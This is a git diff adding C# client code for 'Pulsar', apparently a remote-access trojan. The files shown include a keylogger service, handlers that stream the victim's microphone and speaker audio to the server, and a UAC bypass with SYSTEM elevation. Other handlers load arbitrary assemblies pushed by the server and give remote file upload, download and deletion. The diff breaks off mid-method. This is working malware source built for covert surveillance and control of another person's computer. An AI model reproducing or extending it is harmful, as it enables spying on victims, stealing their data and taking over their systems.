_keylogger.FlushImmediately())); + } + } + catch (Exception ex) + { + OnErrorOccurred(ex); + } + } + } + + /// + /// Restarts the keylogger service. + /// + public async Task RestartAsync(int shutdownTimeoutMs = 5000, int startupTimeoutMs = 10000) + { + if (Stop(shutdownTimeoutMs)) + { + // Small delay to ensure clean shutdown + await Task.Delay(1000); + return await StartAsync(startupTimeoutMs); + } + return false; + } + + protected virtual void OnErrorOccurred(Exception ex) + { + ErrorOccurred?.Invoke(this, ex); + } + + protected virtual void OnStarted() + { + Started?.Invoke(this, EventArgs.Empty); + } + + protected virtual void OnStopped() + { + Stopped?.Invoke(this, EventArgs.Empty); + } + + protected virtual void Dispose(bool disposing) + { + if (_disposed) + return; + + if (disposing) + { + // Signal cancellation first + _cancellationTokenSource.Cancel(); + + try + { + // Stop the service if it's running + if (_isRunning) + { + Stop(3000); + } + + // Wait for thread to complete + if (_msgLoopThread.IsAlive && !_msgLoopThread.Join(2000)) + { + _msgLoopThread.Interrupt(); + } + } + catch (Exception ex) + { + OnErrorOccurred(ex); + } + finally + { + // Dispose resources + _keylogger?.Dispose(); + _keylogger = null; + + _msgLoop?.Dispose(); + _msgLoop = null; + + _cancellationTokenSource?.Dispose(); + _initialized?.Dispose(); + _shutdownComplete?.Dispose(); + } + } + + _disposed = true; + } + + ~KeyloggerService() + { + Dispose(false); + } + + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Messages/.DS_Store b/Pulsar.Client/Messages/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..5008ddfcf53c02e82d7eee2e57c38e5672ef89f6 GIT binary patch literal 6148 zcmeH~Jr2S!425mzP>H1@V-^m;4Wg<&0T*E43hX&L&p$$qDprKhvt+--jT7}7np#A3 zem<@ulZcFPQ@L2!n>{z**++&mCkOWA81W14cNZlEfg7;MkzE(HCqgga^y>{tEnwC%0;vJ&^%eQ zLs35+`xjp>T0 message is GetMicrophone || + message is GetMicrophoneDevice; + + public override bool CanExecuteFrom(ISender sender) => true; + + public ISender _client; + + private bool _isStarted; + + public WaveInEvent _audioDevice; + + private int _deviceID; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetMicrophone msg: + Execute(sender, msg); + break; + + case GetMicrophoneDevice msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetMicrophone message) + { + if (message.CreateNew) + { + try + { + _isStarted = false; + _audioDevice?.Dispose(); + OnReport("Audio streaming started"); + } + catch (Exception ex) + { + OnReport($"Error during audio device cleanup: {ex.Message}"); + } + } + if (message.Destroy) + { + try + { + Destroy(); + OnReport("Audio streaming stopped"); + } + catch (Exception ex) + { + OnReport($"Error stopping audio: {ex.Message}"); + } + return; + } + if (_client == null) _client = client; + if (!_isStarted) + { + try + { + _deviceID = message.DeviceIndex; + + if (_deviceID < 0 || _deviceID >= WaveIn.DeviceCount) + { + OnReport($"Invalid microphone device index: {_deviceID}. Available devices: {WaveIn.DeviceCount}"); + return; + } + var capabilities = WaveIn.GetCapabilities(_deviceID); + if (capabilities.Channels == 0) + { + OnReport($"Microphone device {_deviceID} has no available channels"); + return; + } + + OnReport($"Initializing microphone device {_deviceID}: {capabilities.ProductName}"); + + _audioDevice = new WaveInEvent + { + DeviceNumber = _deviceID, + WaveFormat = new WaveFormat(message.Bitrate, capabilities.Channels) + }; + _audioDevice.BufferMilliseconds = 50; + _audioDevice.DataAvailable += sourcestream_DataAvailable; + _audioDevice.StartRecording(); + _isStarted = true; + } + catch (ArgumentOutOfRangeException ex) + { + OnReport($"Device index out of range: {ex.Message}"); + _isStarted = false; + } + catch (InvalidOperationException ex) + { + OnReport($"Invalid microphone operation: {ex.Message}"); + _isStarted = false; + } + catch (System.Runtime.InteropServices.COMException ex) + { + OnReport($"COM error accessing microphone: {ex.Message}"); + _isStarted = false; + } + catch (UnauthorizedAccessException ex) + { + OnReport($"Unauthorized access to microphone: {ex.Message}"); + _isStarted = false; + } + catch (Exception ex) + { + OnReport($"Unexpected error initializing microphone: {ex.Message}"); + _isStarted = false; + } + } + } + + private void sourcestream_DataAvailable(object notUsed, WaveInEventArgs e) + { + try + { + if (e?.Buffer == null || e.BytesRecorded <= 0) + { + return; + } + + byte[] rawAudio = new byte[e.BytesRecorded]; + Array.Copy(e.Buffer, rawAudio, e.BytesRecorded); + + _client?.Send(new GetMicrophoneResponse + { + Audio = rawAudio, + Device = _deviceID + }); + } + catch (Exception ex) + { + OnReport($"Error processing microphone data: {ex.Message}"); + } + } + + private void Execute(ISender client, GetMicrophoneDevice message) + { + try + { + var deviceList = new List>(); + + int deviceCount = WaveIn.DeviceCount; + for (int i = 0; i < deviceCount; i++) + { + try + { + var capabilities = WaveIn.GetCapabilities(i); + string deviceName = capabilities.ProductName; + + OnReport($"Found microphone device {i}: {deviceName} (Channels: {capabilities.Channels})"); + + if (!string.IsNullOrEmpty(deviceName) && capabilities.Channels > 0) + { + deviceList.Add(Tuple.Create(i, deviceName)); + } + } + catch (Exception ex) + { + OnReport($"Error accessing microphone device {i}: {ex.Message}"); + } + } + + client.Send(new GetMicrophoneDeviceResponse { DeviceInfos = deviceList }); + } + catch (Exception ex) + { + OnReport($"Error enumerating microphone devices: {ex.Message}"); + client.Send(new GetMicrophoneDeviceResponse { DeviceInfos = new List>() }); + } + } + + public void Destroy() + { + try + { + if (_audioDevice != null) + { + try + { + _audioDevice.DataAvailable -= sourcestream_DataAvailable; + } + catch (Exception ex) + { + OnReport($"Error unsubscribing from DataAvailable event: {ex.Message}"); + } + + try + { + if (_audioDevice.DeviceNumber >= 0) // Check if device is valid + { + _audioDevice.StopRecording(); + } + } + catch (Exception ex) + { + OnReport($"Error stopping microphone recording: {ex.Message}"); + } + + try + { + _audioDevice.Dispose(); + } + catch (Exception ex) + { + OnReport($"Error disposing microphone device: {ex.Message}"); + } + + _audioDevice = null; + } + } + catch (Exception ex) + { + OnReport($"Error in Destroy method: {ex.Message}"); + } + finally + { + _isStarted = false; + } + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + try + { + Destroy(); + } + catch (Exception ex) + { + OnReport($"Error during disposal: {ex.Message}"); + } + } + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Messages/AudioOutputHandler.cs b/Pulsar.Client/Messages/AudioOutputHandler.cs new file mode 100644 index 0000000..2bfe8ec --- /dev/null +++ b/Pulsar.Client/Messages/AudioOutputHandler.cs @@ -0,0 +1,275 @@ +ο»Ώusing NAudio.CoreAudioApi; +using NAudio.Wave; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Audio; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace Pulsar.Client.Messages +{ + public class AudioOutputHandler : NotificationMessageProcessor, IDisposable + { + public override bool CanExecute(IMessage message) => message is GetOutput || + message is GetOutputDevice; + + public override bool CanExecuteFrom(ISender sender) => true; + + public ISender _client; + + private bool _isStarted; + + public WasapiLoopbackCapture _audioDevice; + + private int _deviceID; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetOutput msg: + Execute(sender, msg); + break; + + case GetOutputDevice msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetOutput message) + { + if (message.CreateNew) + { + try + { + _isStarted = false; + _audioDevice?.Dispose(); + OnReport("Speaker audio streaming started"); + } + catch (Exception ex) + { + OnReport($"Error during audio device cleanup: {ex.Message}"); + } + } + if (message.Destroy) + { + try + { + Destroy(); + OnReport("Speaker audio streaming stopped"); + } + catch (Exception ex) + { + OnReport($"Error stopping speaker audio: {ex.Message}"); + } + return; + } + if (_client == null) _client = client; + if (!_isStarted) + { + try + { + _deviceID = message.DeviceIndex; + var enumerator = new MMDeviceEnumerator(); + var devices = enumerator.EnumerateAudioEndPoints(DataFlow.Render, DeviceState.Active); + + if (_deviceID < 0 || _deviceID >= devices.Count) + { + OnReport($"Invalid device index: {_deviceID}. Available devices: {devices.Count}"); + enumerator.Dispose(); + return; + } + var device = devices[_deviceID]; + if (device == null) + { + OnReport($"Audio device at index {_deviceID} is null"); + enumerator.Dispose(); + return; + } + + OnReport($"Initializing system audio device {_deviceID}: {device.FriendlyName}"); + + if (device.AudioClient?.MixFormat == null) + { + OnReport($"Audio device {_deviceID} has invalid audio client or format"); + enumerator.Dispose(); + return; + } + + int sampleRate = message.Bitrate; + int channels = device.AudioClient.MixFormat.Channels; + var waveFormat = new WaveFormat(sampleRate, channels); + + _audioDevice = new WasapiLoopbackCapture(device); + _audioDevice.WaveFormat = waveFormat; + + _audioDevice.DataAvailable += sourcestream_DataAvailable; + _audioDevice.StartRecording(); + _isStarted = true; + + enumerator.Dispose(); + } + catch (ArgumentOutOfRangeException ex) + { + OnReport($"Device index out of range: {ex.Message}"); + _isStarted = false; + } + catch (InvalidOperationException ex) + { + OnReport($"Invalid audio operation: {ex.Message}"); + _isStarted = false; + } + catch (System.Runtime.InteropServices.COMException ex) + { + OnReport($"COM error accessing audio device: {ex.Message}"); + _isStarted = false; + } + catch (UnauthorizedAccessException ex) + { + OnReport($"Unauthorized access to audio device: {ex.Message}"); + _isStarted = false; + } + catch (Exception ex) + { + OnReport($"Unexpected error initializing audio capture: {ex.Message}"); + _isStarted = false; + } + } + } + + private void sourcestream_DataAvailable(object sender, WaveInEventArgs e) //fix overheat + { + byte[] bufferCopy = new byte[e.BytesRecorded]; + Array.Copy(e.Buffer, bufferCopy, e.BytesRecorded); + + Task.Run(() => + { + try + { + _client.Send(new GetOutputResponse + { + Audio = bufferCopy, + Device = _deviceID + }); + } + catch (Exception ex) + { + OnReport($"Error sending audio data: {ex.Message}"); + } + }); + } + + private void Execute(ISender client, GetOutputDevice message) + { + try + { + var deviceList = new List>(); + var enumerator = new MMDeviceEnumerator(); + var devices = enumerator.EnumerateAudioEndPoints(DataFlow.Render, DeviceState.Active); + + for (int i = 0; i < devices.Count; i++) + { + try + { + var deviceName = devices[i]?.FriendlyName; + if (!string.IsNullOrEmpty(deviceName)) + { + OnReport($"Found system audio device {i}: {deviceName}"); + deviceList.Add(Tuple.Create(i, deviceName)); + } + } + catch (Exception ex) + { + OnReport($"Error accessing device {i}: {ex.Message}"); + } + } + enumerator.Dispose(); + + client.Send(new GetOutputDeviceResponse { DeviceInfos = deviceList }); + } + catch (Exception ex) + { + OnReport($"Error enumerating audio devices: {ex.Message}"); + client.Send(new GetOutputDeviceResponse { DeviceInfos = new List>() }); + } + } + + public void Destroy() + { + try + { + if (_audioDevice != null) + { + try + { + _audioDevice.DataAvailable -= sourcestream_DataAvailable; + } + catch (Exception ex) + { + OnReport($"Error unsubscribing from DataAvailable event: {ex.Message}"); + } + + try + { + if (_audioDevice.CaptureState == CaptureState.Capturing) + { + _audioDevice.StopRecording(); + } + } + catch (Exception ex) + { + OnReport($"Error stopping audio recording: {ex.Message}"); + } + + try + { + _audioDevice.Dispose(); + } + catch (Exception ex) + { + OnReport($"Error disposing audio device: {ex.Message}"); + } + + _audioDevice = null; + } + } + catch (Exception ex) + { + OnReport($"Error in Destroy method: {ex.Message}"); + } + finally + { + _isStarted = false; + } + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + try + { + Destroy(); + } + catch (Exception ex) + { + OnReport($"Error during disposal: {ex.Message}"); + } + } + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Messages/ClientServicesHandler.cs b/Pulsar.Client/Messages/ClientServicesHandler.cs new file mode 100644 index 0000000..8c21499 --- /dev/null +++ b/Pulsar.Client/Messages/ClientServicesHandler.cs @@ -0,0 +1,204 @@ +ο»Ώusing Microsoft.Win32; +using Pulsar.Client.Config; +using Pulsar.Client.Helper; +using Pulsar.Client.Helper.UAC; +using Pulsar.Client.Networking; +using Pulsar.Client.Setup; +using Pulsar.Client.User; +using Pulsar.Client.Utilities; +using Pulsar.Common.Enums; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.ClientManagement; +using Pulsar.Common.Messages.ClientManagement.UAC; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; +using Pulsar.Common.UAC; +using System; +using System.Diagnostics; +using System.Text; +using System.Threading; +using System.Windows.Forms; + +namespace Pulsar.Client.Messages +{ + public class ClientServicesHandler : IMessageProcessor + { + private readonly PulsarClient _client; + private readonly PulsarApplication _application; + + public ClientServicesHandler(PulsarApplication application, PulsarClient client) + { + _application = application; + _client = client; + } + + public bool CanExecute(IMessage message) => message is DoClientUninstall || + message is DoClientDisconnect || + message is DoClientReconnect || + message is DoAskElevate || + message is DoElevateSystem || + message is DoDeElevate || + message is DoUACBypass || + message is DoClearTempDirectory; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoClientUninstall msg: + Execute(sender, msg); + break; + case DoClientDisconnect msg: + Execute(sender, msg); + break; + case DoClientReconnect msg: + Execute(sender, msg); + break; + case DoAskElevate msg: + Execute(sender, msg); + break; + case DoElevateSystem msg: + Execute(sender, msg); + break; + case DoDeElevate msg: + Execute(sender, msg); + break; + case DoUACBypass msg: + Execute(sender, msg); + break; + case DoClearTempDirectory msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoClientUninstall message) + { + client.Send(new SetStatus { Message = "Starting uninstall process..." }); + try + { + new ClientUninstaller().Uninstall(); + client.Send(new SetStatus { Message = "Uninstallation complete. Exiting client." }); + _client.Exit(); + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Uninstall failed: {ex.Message}" }); + } + } + + private void Execute(ISender client, DoClientDisconnect message) + { + client.Send(new SetStatus { Message = "Disconnecting client..." }); + _client.Exit(); + } + + private void Execute(ISender client, DoClientReconnect message) + { + client.Send(new SetStatus { Message = "Reconnecting client..." }); + _client.Disconnect(); + } + + private void Execute(ISender client, DoAskElevate message) + { + var userAccount = new UserAccount(); + client.Send(new SetStatus { Message = "Checking for administrative privileges..." }); + + if (userAccount.Type != AccountType.Admin) + { + client.Send(new SetStatus { Message = "Attempting to request elevation..." }); + + ProcessStartInfo processStartInfo = new ProcessStartInfo + { + FileName = "cmd", + Verb = "runas", + Arguments = "/k START \"\" \"" + Application.ExecutablePath + "\" & EXIT", + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true + }; + + _application.ApplicationMutex.Dispose(); + try + { + Process.Start(processStartInfo); + client.Send(new SetStatus { Message = "Elevation process started. Exiting current instance." }); + } + catch + { + client.Send(new SetStatus { Message = "User refused the elevation request." }); + _application.ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); + return; + } + _client.Exit(); + } + else + { + client.Send(new SetStatus { Message = "Process already running with administrative privileges." }); + } + } + + private void Execute(ISender client, DoElevateSystem message) + { + client.Send(new SetStatus { Message = "Attempting to elevate to SYSTEM..." }); + SystemElevation.Elevate(client); + } + + private void Execute(ISender client, DoDeElevate message) + { + client.Send(new SetStatus { Message = "Attempting to de-elevate from SYSTEM..." }); + SystemElevation.DeElevate(client); + } + + private void Execute(ISender client, DoUACBypass message) + { + client.Send(new SetStatus { Message = "Executing UAC bypass..." }); + Bypass.DoUacBypass(); + client.Send(new SetStatus { Message = "UAC bypass completed. Exiting client." }); + _client.Exit(); + } + + private void Execute(ISender client, DoClearTempDirectory message) + { + client.Send(new SetStatus { Message = "Starting temporary file cleanup..." }); + try + { + string tempPath = System.IO.Path.GetTempPath(); + string[] files = System.IO.Directory.GetFiles(tempPath, "*", System.IO.SearchOption.AllDirectories); + int deletedFiles = 0; + + foreach (string file in files) + { + try + { + System.IO.File.Delete(file); + deletedFiles++; + } + catch + { + // Ignore permission or lock errors + } + } + + foreach (string dir in System.IO.Directory.GetDirectories(tempPath)) + { + try + { + System.IO.Directory.Delete(dir, true); + } + catch + { + // Ignore restricted directories + } + } + + client.Send(new SetStatus { Message = $"Cleanup complete β€” {deletedFiles} files deleted." }); + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Temp cleanup failed: {ex.Message}" }); + } + } + } +} diff --git a/Pulsar.Client/Messages/CommandHandler.cs b/Pulsar.Client/Messages/CommandHandler.cs new file mode 100644 index 0000000..6719284 --- /dev/null +++ b/Pulsar.Client/Messages/CommandHandler.cs @@ -0,0 +1,98 @@ +using System; +using System.Reflection; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; +using Pulsar.Client.Plugins; +using Pulsar.Common.Plugins; + +namespace Pulsar.Client.Messages +{ + public sealed class CommandHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => + message is DoLoadUniversalPlugin || + message is DoExecuteUniversalCommand; + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + try + { + switch (message) + { + case DoLoadUniversalPlugin loadMsg: + HandleLoadUniversalPlugin(sender, loadMsg); + break; + case DoExecuteUniversalCommand execMsg: + HandleExecuteUniversalCommand(sender, execMsg); + break; + } + } + catch (Exception ex) + { + sender.Send(new SetStatus { Message = "Command error: " + ex.Message }); + } + } + + private void HandleLoadUniversalPlugin(ISender sender, DoLoadUniversalPlugin msg) + { + try + { + var asm = Assembly.Load(msg.PluginBytes); + var type = asm.GetType(msg.TypeName, throwOnError: true); + var plugin = Activator.CreateInstance(type); + var initializeMethod = type.GetMethod("Initialize"); + initializeMethod.Invoke(plugin, new object[] { msg.InitData }); + UniversalPluginDispatcher.RegisterPlugin(msg.PluginId, plugin); + + sender.Send(new DoUniversalPluginResponse + { + PluginId = msg.PluginId, + Command = "load", + Success = true, + Message = $"Plugin {msg.PluginId} loaded successfully" + }); + } + catch (Exception ex) + { + sender.Send(new DoUniversalPluginResponse + { + PluginId = msg.PluginId, + Command = "load", + Success = false, + Message = ex.Message + }); + } + } + + private void HandleExecuteUniversalCommand(ISender sender, DoExecuteUniversalCommand msg) + { + var result = UniversalPluginDispatcher.ExecuteCommand(msg.PluginId, msg.Command, msg.Parameters); + + var resultType = result.GetType(); + var successProperty = resultType.GetProperty("Success"); + var messageProperty = resultType.GetProperty("Message"); + var dataProperty = resultType.GetProperty("Data"); + var shouldUnloadProperty = resultType.GetProperty("ShouldUnload"); + var nextCommandProperty = resultType.GetProperty("NextCommand"); + + bool success = successProperty != null ? (bool)successProperty.GetValue(result) : false; + string message = messageProperty != null ? (string)messageProperty.GetValue(result) : "Unknown error"; + byte[] data = dataProperty != null ? (byte[])dataProperty.GetValue(result) : null; + bool shouldUnload = shouldUnloadProperty != null ? (bool)shouldUnloadProperty.GetValue(result) : false; + string nextCommand = nextCommandProperty != null ? (string)nextCommandProperty.GetValue(result) : null; + + sender.Send(new DoUniversalPluginResponse + { + PluginId = msg.PluginId, + Command = msg.Command, + Success = success, + Message = message, + Data = data, + ShouldUnload = shouldUnload, + NextCommand = nextCommand + }); + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Messages/DeferredAssemblyHandler.cs b/Pulsar.Client/Messages/DeferredAssemblyHandler.cs new file mode 100644 index 0000000..0765387 --- /dev/null +++ b/Pulsar.Client/Messages/DeferredAssemblyHandler.cs @@ -0,0 +1,53 @@ +using Pulsar.Client.Config; +using Pulsar.Client.Utilities; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; +using System.Diagnostics; +using System.Threading; + +namespace Pulsar.Client.Messages +{ + /// + /// Receives deferred assembly packages from the server and forwards them to the manager. + /// + public class DeferredAssemblyHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DeferredAssembliesPackage; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + var package = message as DeferredAssembliesPackage; + if (package == null) + { + Debug.WriteLine("[DeferredAssemblyHandler] Received invalid package."); + return; + } + + DeferredAssemblyManager.RegisterPackage(package); + + var remaining = DeferredAssemblyManager.GetMissingAssemblies(); + if (remaining != null && remaining.Length > 0) + { + Debug.WriteLine($"[DeferredAssemblyHandler] Still missing {remaining.Length} deferred assemblies, requesting again."); + ThreadPool.QueueUserWorkItem(_ => + { + try + { + sender.Send(new RequestDeferredAssemblies + { + Assemblies = remaining, + ClientVersion = Settings.ReportedVersion + }); + } + catch (System.Exception ex) + { + Debug.WriteLine($"[DeferredAssemblyHandler] Failed to re-request deferred assemblies: {ex.Message}"); + } + }); + } + } + } +} diff --git a/Pulsar.Client/Messages/FileManagerHandler.cs b/Pulsar.Client/Messages/FileManagerHandler.cs new file mode 100644 index 0000000..14d03ae --- /dev/null +++ b/Pulsar.Client/Messages/FileManagerHandler.cs @@ -0,0 +1,587 @@ +ο»Ώusing Pulsar.Client.Networking; +using Pulsar.Common; +using Pulsar.Common.Enums; +using Pulsar.Common.Extensions; +using Pulsar.Common.Helpers; +using Pulsar.Common.IO; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Administration.FileManager; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; +using Pulsar.Common.Networking; +using System; +using System.Collections.Concurrent; +using System.IO; +using System.IO.Compression; +using System.Linq; +using System.Security; +using System.Threading; + +namespace Pulsar.Client.Messages +{ + public class FileManagerHandler : NotificationMessageProcessor, IDisposable + { + private readonly ConcurrentDictionary _activeTransfers = new ConcurrentDictionary(); + private readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file downloads + + private readonly PulsarClient _client; + + private CancellationTokenSource _tokenSource; + + private CancellationToken _token; + + public FileManagerHandler(PulsarClient client) + { + _client = client; + _client.ClientState += OnClientStateChange; + _tokenSource = new CancellationTokenSource(); + _token = _tokenSource.Token; + } + + private void OnClientStateChange(Networking.Client s, bool connected) + { + switch (connected) + { + case true: + + _tokenSource?.Dispose(); + _tokenSource = new CancellationTokenSource(); + _token = _tokenSource.Token; + break; + case false: + // cancel all running transfers on disconnect + _tokenSource.Cancel(); + break; + } + } + + public override bool CanExecute(IMessage message) => message is GetDrives || + message is GetDirectory || + message is FileTransferRequest || + message is FileTransferCancel || + message is FileTransferChunk || + message is DoPathDelete || + message is DoPathRename || + message is DoZipFolder; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetDrives msg: + Execute(sender, msg); + break; + case GetDirectory msg: + Execute(sender, msg); + break; + case FileTransferRequest msg: + Execute(sender, msg); + break; + case FileTransferCancel msg: + Execute(sender, msg); + break; + case FileTransferChunk msg: + Execute(sender, msg); + break; + case DoPathDelete msg: + Execute(sender, msg); + break; + case DoPathRename msg: + Execute(sender, msg); + break; + case DoZipFolder msg: + HandleDoZipFile(sender, msg); + break; + } + } + private void HandleDoZipFile(ISender client, DoZipFolder message) + { + try + { + if (!Directory.Exists(message.SourcePath)) + { + client.Send(new SetStatusFileManager { Message = $"Directory not found: {message.SourcePath}" }); + return; + } + + client.Send(new SetStatusFileManager { Message = $"Creating zip archive: {message.DestinationPath}" }); + + string parentDir = Path.GetDirectoryName(message.DestinationPath); + if (!Directory.Exists(parentDir)) + Directory.CreateDirectory(parentDir); + + if (File.Exists(message.DestinationPath)) + File.Delete(message.DestinationPath); + + ZipFile.CreateFromDirectory( + message.SourcePath, + message.DestinationPath, + (CompressionLevel)message.CompressionLevel, + includeBaseDirectory: false); + + client.Send(new SetStatusFileManager { Message = $"Successfully created zip: {message.DestinationPath}" }); + } + catch (Exception ex) + { + client.Send(new SetStatusFileManager { Message = $"Error creating zip: {ex.Message}" }); + } + } + + private void Execute(ISender client, GetDrives command) + { + DriveInfo[] driveInfos; + try + { + driveInfos = DriveInfo.GetDrives().Where(d => d.IsReady).ToArray(); + } + catch (IOException) + { + client.Send(new SetStatusFileManager { Message = "GetDrives I/O error", SetLastDirectorySeen = false }); + return; + } + catch (UnauthorizedAccessException) + { + client.Send(new SetStatusFileManager { Message = "GetDrives No permission", SetLastDirectorySeen = false }); + return; + } + + if (driveInfos.Length == 0) + { + client.Send(new SetStatusFileManager { Message = "GetDrives No drives", SetLastDirectorySeen = false }); + return; + } + + Drive[] drives = new Drive[driveInfos.Length]; + for (int i = 0; i < drives.Length; i++) + { + try + { + var displayName = !string.IsNullOrEmpty(driveInfos[i].VolumeLabel) + ? string.Format("{0} ({1}) [{2}, {3}]", driveInfos[i].RootDirectory.FullName, + driveInfos[i].VolumeLabel, + driveInfos[i].DriveType.ToFriendlyString(), driveInfos[i].DriveFormat) + : string.Format("{0} [{1}, {2}]", driveInfos[i].RootDirectory.FullName, + driveInfos[i].DriveType.ToFriendlyString(), driveInfos[i].DriveFormat); + + drives[i] = new Drive + { DisplayName = displayName, RootDirectory = driveInfos[i].RootDirectory.FullName }; + } + catch (Exception) + { + + } + } + + client.Send(new GetDrivesResponse { Drives = drives }); + } + + private void Execute(ISender client, GetDirectory message) + { + bool isError = false; + string statusMessage = null; + + Action onError = (msg) => + { + isError = true; + statusMessage = msg; + }; + + try + { + DirectoryInfo dicInfo = new DirectoryInfo(message.RemotePath); + + FileInfo[] files = dicInfo.GetFiles(); + DirectoryInfo[] directories = dicInfo.GetDirectories(); + + FileSystemEntry[] items = new FileSystemEntry[files.Length + directories.Length]; + + int offset = 0; + for (int i = 0; i < directories.Length; i++, offset++) + { + items[i] = new FileSystemEntry + { + EntryType = FileType.Directory, + Name = directories[i].Name, + Size = 0, + LastAccessTimeUtc = directories[i].LastAccessTimeUtc + }; + } + + for (int i = 0; i < files.Length; i++) + { + items[i + offset] = new FileSystemEntry + { + EntryType = FileType.File, + Name = files[i].Name, + Size = files[i].Length, + ContentType = Path.GetExtension(files[i].Name).ToContentType(), + LastAccessTimeUtc = files[i].LastAccessTimeUtc + }; + } + + client.Send(new GetDirectoryResponse { RemotePath = message.RemotePath, Items = items }); + } + catch (UnauthorizedAccessException) + { + onError("GetDirectory No permission"); + } + catch (SecurityException) + { + onError("GetDirectory No permission"); + } + catch (PathTooLongException) + { + onError("GetDirectory Path too long"); + } + catch (DirectoryNotFoundException) + { + onError("GetDirectory Directory not found"); + } + catch (FileNotFoundException) + { + onError("GetDirectory File not found"); + } + catch (IOException) + { + onError("GetDirectory I/O error"); + } + catch (Exception) + { + onError("GetDirectory Failed"); + } + finally + { + if (isError && !string.IsNullOrEmpty(statusMessage)) + client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = true }); + } + } + + private void Execute(ISender client, FileTransferRequest message) + { + new Thread(() => + { + _limitThreads.WaitOne(); + try + { + using (var srcFile = new FileSplit(message.RemotePath, FileAccess.Read)) + { + _activeTransfers[message.Id] = srcFile; + OnReport("File upload started"); + foreach (var chunk in srcFile) + { + if (_token.IsCancellationRequested || !_activeTransfers.ContainsKey(message.Id)) + break; + + // blocking sending might not be required, needs further testing + _client.SendBlocking(new FileTransferChunk + { + Id = message.Id, + FilePath = message.RemotePath, + FileSize = srcFile.FileSize, + Chunk = chunk + }); + } + + client.Send(new FileTransferComplete + { + Id = message.Id, + FilePath = message.RemotePath + }); + } + } + catch (Exception) + { + client.Send(new FileTransferCancel + { + Id = message.Id, + Reason = "Error reading file" + }); + } + finally + { + RemoveFileTransfer(message.Id); + _limitThreads.Release(); + } + }).Start(); + } + + private void Execute(ISender client, FileTransferCancel message) + { + if (_activeTransfers.ContainsKey(message.Id)) + { + RemoveFileTransfer(message.Id); + client.Send(new FileTransferCancel + { + Id = message.Id, + Reason = "Canceled" + }); + } + } + + /// + /// Validates and sanitizes a file path to prevent path traversal attacks. + /// + /// The file path to validate. + /// A safe file path or null if the path is invalid. + private string ValidateAndSanitizeFilePath(string filePath) + { + try + { + if (string.IsNullOrWhiteSpace(filePath)) + return null; + + string fullPath = Path.GetFullPath(filePath); + + if (!Path.IsPathRooted(fullPath)) + return null; + + string fileName = Path.GetFileName(fullPath); + if (string.IsNullOrEmpty(fileName) || fileName.Contains("..")) + return null; + + char[] invalidChars = Path.GetInvalidFileNameChars(); + if (fileName.IndexOfAny(invalidChars) >= 0) + return null; + + string directory = Path.GetDirectoryName(fullPath); + if (string.IsNullOrEmpty(directory)) + return null; + + if (!Directory.Exists(directory)) + { + Directory.CreateDirectory(directory); + } + + return fullPath; + } + catch + { + return null; + } + } + + private void Execute(ISender client, FileTransferChunk message) + { + try + { + if (message.Chunk.Offset == 0) + { + string filePath = message.FilePath; + + if (string.IsNullOrEmpty(filePath)) + { + // generate new temporary file path if empty + filePath = FileHelper.GetTempFilePath(message.FileExtension); + } + else + { + filePath = ValidateAndSanitizeFilePath(filePath); + if (filePath == null) + { + client.Send(new FileTransferCancel + { + Id = message.Id, + Reason = "Invalid file path - security violation" + }); + return; + } + } + + if (File.Exists(filePath)) + { + // delete existing file + NativeMethods.DeleteFile(filePath); + } + + _activeTransfers[message.Id] = new FileSplit(filePath, FileAccess.Write); + OnReport("File download started"); + } + + if (!_activeTransfers.ContainsKey(message.Id)) + return; + + var destFile = _activeTransfers[message.Id]; + destFile.WriteChunk(message.Chunk); + + if (destFile.FileSize == message.FileSize) + { + client.Send(new FileTransferComplete + { + Id = message.Id, + FilePath = destFile.FilePath + }); + RemoveFileTransfer(message.Id); + } + } + catch (Exception) + { + RemoveFileTransfer(message.Id); + client.Send(new FileTransferCancel + { + Id = message.Id, + Reason = "Error writing file" + }); + } + } + + private void Execute(ISender client, DoPathDelete message) + { + bool isError = false; + string statusMessage = null; + + Action onError = (msg) => + { + isError = true; + statusMessage = msg; + }; + + try + { + switch (message.PathType) + { + case FileType.Directory: + Directory.Delete(message.Path, true); + client.Send(new SetStatusFileManager + { + Message = "Deleted directory", + SetLastDirectorySeen = false 